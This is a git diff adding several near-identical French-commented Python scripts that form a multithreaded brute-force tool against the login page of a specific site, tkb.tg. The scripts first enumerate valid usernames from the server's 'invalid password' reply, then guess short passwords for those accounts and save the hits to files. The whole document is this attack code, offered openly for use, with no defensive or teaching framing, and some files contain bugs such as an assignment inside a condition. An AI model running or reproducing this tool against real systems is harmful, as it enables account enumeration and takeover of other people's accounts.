+time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/login_found.txt b/crack3/login_found.txt new file mode 100644 index 0000000..a8070af --- /dev/null +++ b/crack3/login_found.txt @@ -0,0 +1,3 @@ +salut +cc_ca_va +bien diff --git a/crack3/mod.py b/crack3/mod.py new file mode 100644 index 0000000..71d0915 --- /dev/null +++ b/crack3/mod.py @@ -0,0 +1,227 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR ... \n\n") +time.sleep(1) +global lettre,long,bou,repo5,num,long2,long3 +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] +long=36 +bou=1 +repo5=4 +num=3 +long2=0 +long3=0 + +def crack(rec): + # initialisation des variables a utiliser + rec=rec + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# code spagetti enfin fonction X18 pour les thread + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +def crack1(): + rec=1 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par anonymous13 + + + + + + + + + + diff --git a/crack3/mod2.py b/crack3/mod2.py new file mode 100644 index 0000000..25f48d3 --- /dev/null +++ b/crack3/mod2.py @@ -0,0 +1,216 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR \n\n") +global lettre +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/mod3.py b/crack3/mod3.py new file mode 100644 index 0000000..88c47b1 --- /dev/null +++ b/crack3/mod3.py @@ -0,0 +1,216 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR \n\n\t\t ...partie login ...\n\n") +global lettre +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write(user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/mod4.py b/crack3/mod4.py new file mode 100644 index 0000000..77a010d --- /dev/null +++ b/crack3/mod4.py @@ -0,0 +1,218 @@ +# modules necessaires + +import urllib.request as rq +import time +import threading + +print(" \t\t DEMARRAGE DU MOTEUR \n\n\t\t ...partie login ...\n\n") +global lettre +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(user)+'&password=1') + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write(user+"\n") + fd.close() + else : + if rec==1: + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + else:pass + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/modp1.py b/crack3/modp1.py new file mode 100644 index 0000000..e7997a9 --- /dev/null +++ b/crack3/modp1.py @@ -0,0 +1,228 @@ +# modules necessaires + +import urllib.request as rq,time,threading,sys + +global lettre,liste,number,number2 + +try: + fd=open("login_found.txt",'r') + liste=fd.readlines() + fd.close() + number=0 + number2=len(liste) +except: + print("login_found file not found ") + sys.exit() + + + +print(" \t\t DEMARRAGE DU MOTEUR \n\n") + +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(login)+'&password='+str(user)) + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login trouver : {}".format(user)) + fd=open("login_found.txt",'a') + fd.write("login : "+user+"\n") + fd.close() + else : + print("login {} incorrect || {} login/sec || {} min restant ".format(user,t3,t4),end="\r") + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/modp2.py b/crack3/modp2.py new file mode 100644 index 0000000..8bb527f --- /dev/null +++ b/crack3/modp2.py @@ -0,0 +1,235 @@ +# modules necessaires + +import urllib.request as rq,time,threading,sys + +global lettre,liste,number,number2 + +try: + fd=open("login_found.txt",'r') + liste=fd.readlines() + fd.close() + +except: + print("login_found file not found ") + sys.exit() + + + +print(" \t\t DEMARRAGE DU MOTEUR \n\n\t\t ...partie password ...\n\n") + +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + number=0 + number2=len(liste) + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + login=liste[number] + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(login)+'&password='+str(user)) + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + print("login {} || password {} incorrect || {} pass/sec || {} min restant ".format(login,user,t3,t4),end="\r") + else : + print("password trouver : {}".format(user)) + fd=open("pass_found.txt",'a') + fd.write("password : "+user+"\n") + fd.close() + if number< number2: + number+=1 + elif number>=number2: + sys.exit() + + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/modp3.py b/crack3/modp3.py new file mode 100644 index 0000000..1eb1570 --- /dev/null +++ b/crack3/modp3.py @@ -0,0 +1,238 @@ +# modules necessaires + +import urllib.request as rq,time,threading,sys + +global lettre,liste,number,number2 + +try: + fd=open("login_found.txt",'r') + liste=fd.readlines() + fd.close() + +except: + print("login_found file not found ") + sys.exit() + + + +print(" \t\t DEMARRAGE DU MOTEUR \n\n\t\t ...partie password ...\n\n") + +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + number=0 + number2=len(liste) + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + login=liste[number] + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(login)+'&password='+str(user)) + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + if rec==1: + print("login {} || password {} incorrect || {} pass/sec || {} min restant ".format(login,user,t3,t4),end="\r") + else:pass + else : + print("password trouver : {}".format(user)) + fd=open("pass_found.txt",'a') + fd.write("login :"+login+" || password : "+user+"\n") + fd.close() + if number< number2: + number+=1 + elif number>=number2: + sys.exit() + del r + + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + +def crack17(): + rec=32 + crack(rec) + +def crack18(): + rec=34 + crack(rec) + +t1=threading.Thread(target=crack1) +t2=threading.Thread(target=crack2) +t3=threading.Thread(target=crack3) +t4=threading.Thread(target=crack4) +t5=threading.Thread(target=crack5) +t6=threading.Thread(target=crack6) +t7=threading.Thread(target=crack7) +t8=threading.Thread(target=crack8) +t9=threading.Thread(target=crack9) +t10=threading.Thread(target=crack10) +t11=threading.Thread(target=crack11) +t12=threading.Thread(target=crack12) +t13=threading.Thread(target=crack13) +t14=threading.Thread(target=crack9) +t15=threading.Thread(target=crack10) +t16=threading.Thread(target=crack11) +t17=threading.Thread(target=crack12) +t18=threading.Thread(target=crack13) + +t1.start() +t2.start() +t3.start() +t4.start() +t5.start() +t6.start() +t7.start() +t8.start() +t9.start() +t10.start() +t11.start() +t12.start() +t13.start() +t14.start() +t15.start() +t16.start() +t17.start() +t18.start() + +t1.join() +t2.join() +t3.join() +t4.join() +t5.join() +t6.join() +t7.join() +t8.join() +t9.join() +t10.join() +t11.join() +t12.join() +t13.join() +t14.join() +t15.join() +t16.join() +t17.join() +t18.join() + +print("fermeture du moteur ,bye ") +time.sleep(2) +# code source ecrit par toutpuissantged + diff --git a/crack3/password.py b/crack3/password.py new file mode 100644 index 0000000..b8e507f --- /dev/null +++ b/crack3/password.py @@ -0,0 +1,237 @@ +# modules necessaires + +import urllib.request as rq,time,threading,sys + +global lettre,liste,number,number2 + +try: + fd=open("login_found.txt",'r') + liste=fd.readlines() + fd.close() + +except: + print("login_found file not found ") + sys.exit() + + + +print(" \t\t DEMARRAGE DU MOTEUR \n\n\t\t ...partie password ...\n\n") + +lettre=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','v','w','u','x','y','z','0','1','2','3','4','5','6','7','8','9',''] + + +def crack(rec): + # initialisation des variables a utiliser + long=36 + bou=1 + repo5=4 + num=3 + long2=0 + long3=0 + rec=rec + number=0 + number2=len(liste) + x,y,z,u=0,0,0,0 + # algo pour traiter les decalage + if rec==1: + long2=0 + long3=2 + elif 2<=rec<=36: + long2=rec + long3=rec+2 + x=long2 + while 1: + bou=1 + t1=time.time() + user=(lettre[x]+lettre[y]+lettre[z]) + login=liste[number] + x+=1 + # coeur du moteur... va permettre la generation ordonner des logins + if x==long3: + x=long2 + y+=1 + if num==1: + break + else: + pass + elif y==long: + x=long2 + y=0 + z+=1 + if num==2: + break + else: + pass + elif z==long: + x=long2 + y=0 + z=0 + u+=1 + if num==3: + break + else : + pass + elif u==long: + if num==4: + break + # envoye ; reception ; et traitement automatique des requetes HTTP + while bou: + try: + r = rq.urlopen('http://tkb.tg/login?username='+str(login)+'&password='+str(user)) + bou=0 + except : + print("connexion perdu, reconnexion...",end="\r") + # algo pour calculer le debit du bruteforce + t2=time.time() + t4=int(((t2-t1)*(36**3))//60) + t3=int((1/(t2-t1))*18) + # les logins corrects seront automatiquement ecrit dans un fichier nommer login_found.txt + if "invalid password" in str(r.read()): + if rec=1: + print("login {} || password {} incorrect || {} pass/sec || {} min restant ".format(login,user,t3,t4),end="\r") + else:pass + else : + print("password trouver : {}".format(user)) + fd=open("pass_found.txt",'a') + fd.write("password : "+user+"\n") + fd.close() + if number< number2: + number+=1 + elif number>=number2: + sys.exit() + + +# code spagetti pour booster X18 le programme + +def crack1(): + rec=1 + crack(rec) +def crack2(): + rec=2 + crack(rec) + +def crack3(): + rec=4 + crack(rec) + +def crack4(): + rec=6 + crack(rec) + +def crack5(): + rec=8 + crack(rec) + +def crack6(): + rec=10 + crack(rec) + +def crack7(): + rec=12 + crack(rec) + +def crack8(): + rec=14 + crack(rec) + +def crack9(): + rec=16 + crack(rec) + +def crack10(): + rec=18 + crack(rec) + +def crack11(): + rec=20 + crack(rec) + +def crack12(): + rec=22 + crack(rec) + +def crack13(): + rec=24 + crack(rec) + +def crack14(): + rec=26 + crack(rec) + +def crack15(): + rec=28 + crack(rec) + +def crack16(): + rec=30 + crack(rec) + 